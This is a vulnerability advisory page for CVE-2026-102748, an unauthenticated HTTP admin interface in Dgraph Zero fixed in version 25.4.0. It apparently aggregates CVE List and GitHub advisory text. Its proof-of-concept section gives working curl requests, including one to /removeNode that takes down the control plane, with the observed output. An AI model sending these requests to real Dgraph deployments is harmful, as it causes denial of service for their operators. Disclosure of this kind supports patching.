CVE-2026-102748
JSON

9.2critical

Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service

Severity
9.2critical CVSS:4.0 by GitHub_M
Exploit likelihood
0.83% (higher than 55% of CVEs)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-qj98-gp63-54xj

Description

Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.

Affected

Product or packageVersionsReported by
dgraph-io dgraph< 25.4.0CVE List
github.com/dgraph-io/dgraph/v25 (Go)before 25.4.0GitHub Advisory Database

All scores

GitHub_M9.2critical CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H
GitHubcritical CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H

Classification

CWE-306CWE-862

SSVC (CISA-ADP): exploitation none, automatable yes, technical impact total.

What each source says

CVE List

Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.

GitHub Advisory Database
Summary

Dgraph v25.3.8 exposes a Zero HTTP administrative surface that is unauthenticated when port 6080 is reachable.

The exposed routes include:

  • /state
  • /assign
  • /removeNode
  • /moveTablet

An unauthenticated request to /removeNode?id=1&group=0 on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to localhost:5080.

Details

The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.

Relevant code paths:

  • worker/server_state.go:41
  • dgraph/cmd/zero/run.go:295-301
  • dgraph/cmd/zero/http.go:106-129
  • dgraph/cmd/zero/zero.go:475-477

The relevant behavior is:

  • disable-admin-http=false by default
  • /removeNode accepts attacker-controlled id and group
  • removeNode forwards those directly into Server.RemoveNode
  • for group=0, Server.RemoveNode immediately calls ProposePeerRemoval

This means a remote unauthenticated caller can directly trigger destructive membership operations if 6080 is exposed.

PoC
Read state without authentication
curl -i http://127.0.0.1:6080/state

Observed response included:

  • Zero node id=1
  • groupId=0
  • leader=true
  • cluster topology and tablet state
图片
Write-capable route without authentication
curl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'

Observed response:

HTTP/1.1 200 OK
...
{"startId":"1", "endId":"1", "readOnly":"0"}

This confirms the admin plane is not merely informational.

图片
Destructive unauthenticated removeNode
curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'

Observed result:

curl: (52) Empty reply from server
图片

Immediately afterward:

curl -i http://127.0.0.1:6080/health

Observed result:

curl: (56) Recv failure: Connection reset by peer
图片

Alpha health was still locally reachable, but Alpha logs began repeatedly reporting:

dial tcp [::1]:5080: connect: connection refused
图片

This confirms the request reached the destructive path and disrupted the Zero control plane.

Impact

Any deployment that exposes Zero HTTP on 6080 exposes destructive unauthenticated administrative capabilities.

An attacker can:

  • read cluster topology and control-plane metadata
  • allocate IDs and timestamps
  • invoke destructive membership actions
  • disrupt the Zero control plane
  • indirectly destabilize Alpha nodes that depend on Zero connectivity

This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-102748 changed 2026-10-15CVE Terms of Use
GitHub Advisory DatabaseGHSA-qj98-gp63-54xj changed 2026-10-15CC-BY-4.0
NVDCVE-2026-102748 changed 2026-10-15Public domain